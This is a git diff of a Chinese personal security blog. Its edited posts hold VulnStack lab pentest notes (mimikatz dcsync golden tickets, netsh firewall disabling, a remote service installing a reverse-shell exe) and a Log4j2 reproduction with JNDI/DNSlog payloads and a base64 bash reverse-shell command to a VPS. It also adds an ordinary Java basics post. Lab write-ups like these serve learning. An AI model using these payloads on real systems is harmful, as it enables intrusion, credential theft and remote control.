渗透常用小命令

- - @@ -213,7 +197,7 @@

始

E-Maker

@@ -227,7 +211,7 @@

E-Maker

- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)

@@ -314,7 +298,7 @@

E-Maker

- +

@@ -346,7 +330,7 @@

E-Maker

diff --git "a/2021/06/12/\346\270\227\351\200\217\345\270\270\347\224\250\345\260\217\345\221\275\344\273\244/index.html" "b/2021/06/12/\346\270\227\351\200\217\345\270\270\347\224\250\345\260\217\345\221\275\344\273\244/index.html" index 35e89fe..cc15bec 100644 --- "a/2021/06/12/\346\270\227\351\200\217\345\270\270\347\224\250\345\260\217\345\221\275\344\273\244/index.html" +++ "b/2021/06/12/\346\270\227\351\200\217\345\270\270\347\224\250\345\260\217\345\221\275\344\273\244/index.html" @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@

@@ -275,7 +275,9 @@

黄金票据

查看krbtgt相关信息

mimikatz lsadump::dcsync /domain:de1ay.com /user:krbtgt
需要的信息
mimikatz lsadump::dcsync /domain:de1ay.com /user:krbtgt

需要的信息

域内用户
该用户的域sid
域名

1	wmic process where pid="123" delete

全盘搜索文件

1	for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)

windows at

1	for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)

+ +

windows at

查看远程主机时间
1
net time \\ip

windows（netsh）

增加一条规则

1	netsh interface portproxy add v4tov4 listenport=port(随意、cs监听代理端口) listenaddress=ip(内网ip) connectport=38080(对应上面的proxy工具开启端口) connectaddress=ip(外网ip)

1	netsh advfirewall set allprofiles state off

开启防火墙

1	netsh advfirewall set allprofiles state on

linux（iptables）

1	netsh advfirewall set allprofiles state on

+ +

linux（iptables）

查看是否开启转发

vi /etc/sysctl.conf

@@ -420,7 +426,7 @@

-
+

@@ -437,7 +443,7 @@
VulnStack 1

-
+

@@ -470,7 +476,7 @@
DNSlog

- +
E-Maker
@@ -484,7 +490,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)
- - 个人博客 (1) + + VulnStack (6)

E-Maker

- +

E-Maker

@@ -187,7 +187,7 @@

-
+

@@ -204,7 +204,7 @@
VulnStack 2

-
+

@@ -237,7 +237,7 @@
渗透常用小命令

- +
E-Maker
@@ -251,7 +251,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -338,7 +338,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -370,7 +370,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/2021/06/19/VulnStack-2/index.html b/2021/06/19/VulnStack-2/index.html index 4705f51..d2be11c 100644 --- a/2021/06/19/VulnStack-2/index.html +++ b/2021/06/19/VulnStack-2/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -176,7 +176,7 @@
MS

-
+

@@ -193,7 +193,7 @@
VulnStack 3

-
+

@@ -226,7 +226,7 @@
VulnStack 1

- +
E-Maker
@@ -240,7 +240,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -327,7 +327,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -359,7 +359,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/2021/06/21/VulnStack-3/index.html b/2021/06/21/VulnStack-3/index.html index 02279aa..6bce109 100644 --- a/2021/06/21/VulnStack-3/index.html +++ b/2021/06/21/VulnStack-3/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -199,7 +199,7 @@

-
+

@@ -216,7 +216,7 @@
VulnStack 4

-
+

@@ -249,7 +249,7 @@
VulnStack 2

- +
E-Maker
@@ -263,7 +263,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -350,7 +350,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -382,7 +382,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/2021/06/29/VulnStack-4/index.html b/2021/06/29/VulnStack-4/index.html index 785bb1c..eaa6490 100644 --- a/2021/06/29/VulnStack-4/index.html +++ b/2021/06/29/VulnStack-4/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -203,7 +203,7 @@

-
+

@@ -220,7 +220,7 @@
VulnStack 5

-
+

@@ -253,7 +253,7 @@
VulnStack 3

- +
E-Maker
@@ -267,7 +267,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -354,7 +354,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -386,7 +386,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/2021/07/05/VulnStack-5/index.html b/2021/07/05/VulnStack-5/index.html index c14fd3f..4c712bb 100644 --- a/2021/07/05/VulnStack-5/index.html +++ b/2021/07/05/VulnStack-5/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -142,9 +142,15 @@

VulnStack内网靶机五
获取webshell
-
`tp5-rce`，一键获取（`https://github.com/sukabuliet/ThinkphpRCE`）
权限提升
-
略
横向移动
ms17-010
-
略
远程服务上线
+
`tp5-rce`，一键获取（`https://github.com/sukabuliet/ThinkphpRCE`）
+
+
权限提升
+
略
+
+
横向移动
ms17-010
+
略
+
+
远程服务上线

上传文件

1
shell copy C:\phpStudy\PHPTutorial\WWW\public\rev2.exe \\192.168.138.3\c$\rev2.exe

@@ -154,9 +160,10 @@
1
shell sc \\192.168.138.3 create rev2 binpath= "C:/rev2.exe"
-
1
shell sc \\192.168.138.3 start rev2
- -
黄金票据
制作
+
1
shell sc \\192.168.138.3 start rev2
+ +
+
黄金票据
制作

获取krbtgt信息

1
mimikatz lsadump::dcsync /domain:sun.com /user:krbtgt

@@ -177,7 +184,7 @@

-
+

@@ -194,7 +201,7 @@
VulnStack 6

-
+

@@ -227,7 +234,7 @@
VulnStack 4

- +
E-Maker
@@ -241,7 +248,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -328,7 +335,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -360,7 +367,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/2021/07/06/VulnStack-6/index.html b/2021/07/06/VulnStack-6/index.html index 04bed83..e9abf6b 100644 --- a/2021/07/06/VulnStack-6/index.html +++ b/2021/07/06/VulnStack-6/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -166,7 +166,7 @@

-
+

@@ -183,7 +183,7 @@
CVE-2020-1472

-
+

@@ -216,7 +216,7 @@
VulnStack 5

- +
E-Maker
@@ -230,7 +230,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -317,7 +317,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -349,7 +349,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/2021/07/08/CVE-2020-1472/index.html b/2021/07/08/CVE-2020-1472/index.html index 6eca153..26b04f6 100644 --- a/2021/07/08/CVE-2020-1472/index.html +++ b/2021/07/08/CVE-2020-1472/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -185,7 +185,7 @@

-
+

@@ -202,7 +202,7 @@
Windows认证

-
+

@@ -235,7 +235,7 @@
VulnStack 6

- +
E-Maker
@@ -249,7 +249,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -336,7 +336,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -368,7 +368,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git "a/2021/08/10/Windows\350\256\244\350\257\201/index.html" "b/2021/08/10/Windows\350\256\244\350\257\201/index.html" index 3f928d7..21b2d21 100644 --- "a/2021/08/10/Windows\350\256\244\350\257\201/index.html" +++ "b/2021/08/10/Windows\350\256\244\350\257\201/index.html" @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -157,7 +157,7 @@

-
+

@@ -174,7 +174,7 @@
CVE-2021-44228 Log4j2复现学习

-
+

@@ -207,7 +207,7 @@
CVE-2020-1472

- +
E-Maker
@@ -221,7 +221,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -308,7 +308,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -340,7 +340,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git "a/2022/03/09/CVE-2021-44228-Log4j2\345\244\215\347\216\260\345\255\246\344\271\240/index.html" "b/2022/03/09/CVE-2021-44228-Log4j2\345\244\215\347\216\260\345\255\246\344\271\240/index.html" index 36ec137..940d596 100644 --- "a/2022/03/09/CVE-2021-44228-Log4j2\345\244\215\347\216\260\345\255\246\344\271\240/index.html" +++ "b/2022/03/09/CVE-2021-44228-Log4j2\345\244\215\347\216\260\345\255\246\344\271\240/index.html" @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -134,13 +134,19 @@

漏洞描述
简介
Apache Log4j2是一个基于Java的日志记录工具。Apache Log4j 2.x <= 2.14.1版本存在远程代码执行漏洞。漏洞的主要原因是log4j2的接收器对于不可靠来源的输入没有过滤，攻击者则可以利用此特性通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。

环境搭建

`docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln`
-
启动容器内环境：`/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh`
相关工具、关键词
DNSLOG
http://www.dnslog.cn/
DNSlog 在web漏洞中是常见的使用方法，在某些无法直接利用漏洞获得回显的情况下，但目标可以发起DNS请求，这个时候就可以通过这种方式把想获得的数据外带出来。
Lookup
lookup 翻译过来就是查找、搜索的意思。那么log4j2中，就是在输出日志的时候，通过方法去查找要输出的内容。相当于一个接口，具体去哪里找，怎么找找，就需要编写具体的代码去实现，就相当于java中的多态差不多意思。

日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容，而不是表达式本身。
jndi
JNDI(Java Naming and Directory Interface),Java命名和目录接口,是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。
这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），通用对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。
ldap
LDAP（Light Directory Access Portocol），它是基于X.500标准的轻量级目录访问协议。
+
启动容器内环境：`/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh`

+
相关工具、关键词
DNSLOG
http://www.dnslog.cn/
DNSlog 在web漏洞中是常见的使用方法，在某些无法直接利用漏洞获得回显的情况下，但目标可以发起DNS请求，这个时候就可以通过这种方式把想获得的数据外带出来。
+
Lookup
lookup 翻译过来就是查找、搜索的意思。那么log4j2中，就是在输出日志的时候，通过方法去查找要输出的内容。相当于一个接口，具体去哪里找，怎么找找，就需要编写具体的代码去实现，就相当于java中的多态差不多意思。

日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容，而不是表达式本身。
+
jndi
JNDI(Java Naming and Directory Interface),Java命名和目录接口,是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。
这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），通用对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。
+
ldap
LDAP（Light Directory Access Portocol），它是基于X.500标准的轻量级目录访问协议。

漏洞复现
常见poc
`${jndi:ldap://${java:version}.anqsxf.dnslog.cn/exp}`获取Java版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
${java:runtime}
${java:vm}
${java:os}
${java:hw}
${java:locale}
${env:A8_HOME}
${env:A8_ROOT_BIN}
${env:ALLUSERSPROFILE}
${env:APPDATA}
${env:CATALINA_BASE}
${env:CATALINA_HOME}
${env:CATALINA_OPTS}
${env:CATALINA_TMPDIR}
${env:CLASSPATH}
${env:CLIENTNAME}
${env:COMPUTERNAME}
${env:ComSpec}
${env:CommonProgramFiles}
${env:CommonProgramFiles(x86)}
${env:CommonProgramW6432}
${env:FP_NO_HOST_CHECK}
${env:HOMEDRIVE}
${env:HOMEPATH}
${env:JRE_HOME}
${env:Java_Home}
${env:LOCALAPPDATA}
${env:LOGONSERVER}
${env:NUMBER_OF_PROCESSORS}
${env:OS}
${env:PATHEXT}
${env:PROCESSOR_ARCHITECTURE}
${env:PROCESSOR_IDENTIFIER}

漏洞探测

漏洞利用
-
使用到的工具：https://github.com/bkfish/Apache-Log4j-Learning
反弹shell
+
使用到的工具：https://github.com/bkfish/Apache-Log4j-Learning
+
+
反弹shell

VPS开启服务：`java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC*********vMTM5LjE5OC45LjE5MS85OTk5IDwmMSc=}|{base64,-d}|{bash,-i}" -A VPSIP`

web访问触发

返回shell
@@ -159,11 +165,27 @@
+
+
+ +
+ +
+ + +
Java之路-壹
+ + +
Newer
+
+
+
+

-
+

@@ -196,7 +218,7 @@
Windows认证

- +
E-Maker
@@ -210,7 +232,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -297,7 +319,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -329,7 +351,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git "a/2022/09/24/Java\344\271\213\350\267\257-\345\243\271/index.html" "b/2022/09/24/Java\344\271\213\350\267\257-\345\243\271/index.html" new file mode 100644 index 0000000..604dac1 --- /dev/null +++ "b/2022/09/24/Java\344\271\213\350\267\257-\345\243\271/index.html" @@ -0,0 +1,561 @@ + + + + + + + + + + + + + + + + + + + + + + + + + Java之路-壹 | E-Maker's Home + + + + + + + + + + + + + + + + + +
+ + +
+ +
+ + + +
+
+ +
+ + + E-Maker's Home + + +
+ +
+
+
+
+
+
+
+ +
首页
+ +
+
+
+
+ + + + + + + + + + + + + + + +
+
+
+
Java之路-壹
+
+ E-Maker + 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java基础
+ +
🏷️ Java语法
+ +
+
+
+
+ + + + + +
+ + + + +
+
+
+ + + + +
+
Java之路-壹
Java不会的话，还真不行，兄弟们！！！
+
Java特性
面向对象
+
类
+
接口
+
继承
+
多态
+
+
分布式
解释性语言
多线程
Java基础
对象
对象是类的一个实例，有状态和行为
+
类
类是一个模板，它描述一类对象的行为和状态
+
方法
方法就是行为，一个类可以有很多方法
+
Java语法
大小写敏感
类名
对于所有的类来说，类名的首字母应该大写
+
方法名
所有的方法名都应该以小写字母开头，如果方法名含有若干单词，则后面的每个单词首字母大写
+
构造方法
每个类都有构造方法。如果没有显式地为类定义构造方法，Java 编译器将会为该类提供一个默认构造方法。在创建一个对象的时候，至少要调用一个构造方法。构造方法的名称必须与类同名，一个类可以有多个构造方法
+
源文件名
源文件名必须和类名相同
+
源文件声明规则
+
一个源文件中只能有一个 public 类
+
一个源文件可以有多个非 public 类
+
源文件的名称应该和 public 类的类名保持一致
+
+
+
主方法入口
所有的 Java 程序由 public static void main(String[] args) 方法开始执行`ps：IDEA按下psvm可直接生成该方法`
+
Java修饰符
+
`private` 私有
+
+
`public` 公有
+
+
`protected` 受保护
+
+
`static` 静态
+
+
`final` 最终
+
+
`abstract` 抽象
+
+
`synchronized` 声明的方法同一时间只能被一个线程访问
+
+
`transient` 序列化的对象包含被 transient 修饰的实例变量时，java 虚拟机(JVM)跳过该特定的变量
+
+
`volatile` volatile 修饰的成员变量在每次被线程访问时，都强制从共享内存中重新读取该成员变量的值。而且，当成员变量发生变化时，会强制线程将变化值回写到共享内存。这样在任何时刻，两个不同的线程总是看到某个成员变量的同一个值
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
修饰符当前类同一包内子孙类(同一包) 子孙类(不同包) 其他包
`public` Y Y Y Y Y
`protected` Y Y Y Y/N N
`default` Y Y Y N N
`private` Y N N N N
+
Java继承
extends
类的继承是单一继承，也就是说，一个子类只能拥有一个父类，所以 extends 只能继承一个类
+
implements
使用 implements 关键字可以变相的使java具有多继承的特性，使用范围为类继承接口的情况，可以同时继承多个接口
+
super
通过super关键字来实现对父类成员的访问，用来引用当前对象的父类
+
this
指向自己的引用
+
final
可以用来修饰变量（包括类属性、对象属性、局部变量和形参）、方法（包括类方法和对象方法）和类
+
使用 final 关键字声明类，就是把类定义定义为最终类，不能被继承，或者用于修饰方法，该方法不能被子类重写
+
Java重载&重写
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
区别点重载方法重写方法
参数列表必须修改一定不能修改
返回类型可以修改一定不能修改
异常可以修改可以减少或删除，一定不能抛出新的或者更广的异常
访问可以修改一定不能做更严格的限制（可以降低限制）
+
Java多态
多态是同一个行为具有多个不同表现形式或形态的能力。多态就是同一个接口，使用不同的实例而执行不同操作
+
优点
+
消除类型之间的耦合关系
+
可替换性
+
可扩充性
+
接口性
+
灵活性
+
简化性
+
+
存在的三个必要条件
+
继承
+
重写
+
父类引用指向子类对象：`Parent p = new Child();`
+
+
实现方式
+
重写
+
接口
+
抽象类和抽象方法
+
+
Java抽象类
+
抽象类不能被实例化，如果被实例化，就会报错，编译无法通过。只有抽象类的非抽象子类可以创建对象。
+
抽象类中不一定包含抽象方法，但是有抽象方法的类必定是抽象类。
+
抽象类中的抽象方法只是声明，不包含方法体，就是不给出方法的具体实现也就是方法的具体功能。
+
构造方法，类方法（用 static 修饰的方法）不能声明为抽象方法。
+
抽象类的子类必须给出抽象类中的抽象方法的具体实现，除非该子类也是抽象类。
+
+
Java封装
封装是指一种将抽象性函式接口的实现细节部分包装、隐藏起来的方法。
+
封装可以被认为是一个保护屏障，防止该类的代码和数据被外部类定义的代码随机访问。
+
要访问该类的代码和数据，必须通过严格的接口控制。
+
封装最主要的功能在于我们能修改自己的实现代码，而不用修改那些调用我们代码的程序片段。
+
优点
+
良好的封装能够减少耦合
+
类内部的结构可以自由修改
+
可以对成员变量进行更精确的控制
+
隐藏信息，实现细节
+
+
实现步骤
+
修改属性的可见性来限制对属性的访问（一般限制为private）
+
对每个值属性提供对外的公共方法访问，也就是创建一对赋取值方法，用于对私有属性的访问。想要访问私有属性时只能调用该公共方法
+
+
Java接口
与类的相似点
+
一个接口可以有多个方法
+
接口文件保存在 .java 结尾的文件中，文件名使用接口名
+
接口的字节码文件保存在 .class 结尾的文件中
+
接口相应的字节码文件必须在与包名称相匹配的目录结构中
+
+
与类的区别
+
接口不能用于实例化对象
+
接口没有构造方法
+
接口中所有的方法必须是抽象方法，Java 8 之后接口中可以使用 default 关键字修饰的非抽象方法
+
接口不能包含成员变量，除了 static 和 final 变量
+
接口不是被类继承了，而是要被类实现
+
接口支持多继承
+
+
特性
+
接口中每一个方法也是隐式抽象的,接口中的方法会被隐式的指定为 public abstract（只能是 public abstract，其他修饰符都会报错）
+
接口中可以含有变量，但是接口中的变量会被隐式的指定为 public static final 变量（并且只能是 public，用 private 修饰会报编译错误）
+
接口中的方法是不能在接口中实现的，只能由实现接口的类来实现接口中的方法
+
+
与抽象类的区别
+
抽象类中的方法可以有方法体，就是能实现方法的具体功能，但是接口中的方法不行
+
抽象类中的成员变量可以是各种类型的，而接口中的成员变量只能是 public static final 类型的
+
接口中不能含有静态代码块以及静态方法(用 static 修饰的方法)，而抽象类是可以有静态代码块和静态方法
+
一个类只能继承一个抽象类，而一个类却可以实现多个接口
+
+ +
+ + + +
+ +
+
+ +
+ +
+ + +
Java之路-贰
+ + +
Newer
+
+
+
+ + +
+
+ +
+ +
+ + +
CVE-2021-44228 Log4j2复现学习
+ + +
Older
+
+
+
+ +
+ + +
+ + + + + + + + + + +
+
+
+
+
+ + + + +
E-Maker
+ + +
一枚小白
+ + +
+
+ + 13 +
+
+ + 3 +
+
+ + 39 +
+
+
+
+ + +
+
+ + TOC +
+
+
1. Java特性
1.1. 面向对象
1.2. 分布式
1.3. 解释性语言
1.4. 多线程
2. Java基础
2.1. 对象
2.2. 类
2.3. 方法
3. Java语法
3.1. 大小写敏感
3.2. 类名
3.3. 方法名
3.4. 构造方法
3.5. 源文件名
3.6. 源文件声明规则
3.7. 主方法入口
4. Java修饰符
5. Java继承
5.1. extends
5.2. implements
5.3. super
5.4. this
5.5. final
6. Java重载&重写
7. Java多态
7.1. 优点
7.2. 存在的三个必要条件
7.3. 实现方式
8. Java抽象类
9. Java封装
9.1. 优点
9.2. 实现步骤
10. Java接口
10.1. 与类的相似点
10.2. 与类的区别
10.3. 特性
10.4. 与抽象类的区别
+
+
+ + + +
+
+ + NOTICE +
+
+
博客主题更新，主题详情查看https://github.com/miiiku/flex-block
+
+
+ + +
+
+ + CATEGORYS +
+
+
+ +
+ + 技术博客 (11) + +
+ +
+ + Java (2) + +
+ +
+ + VulnStack (6) + +
+ +
+
+
+ +
+
+ + TAGS +
+
+
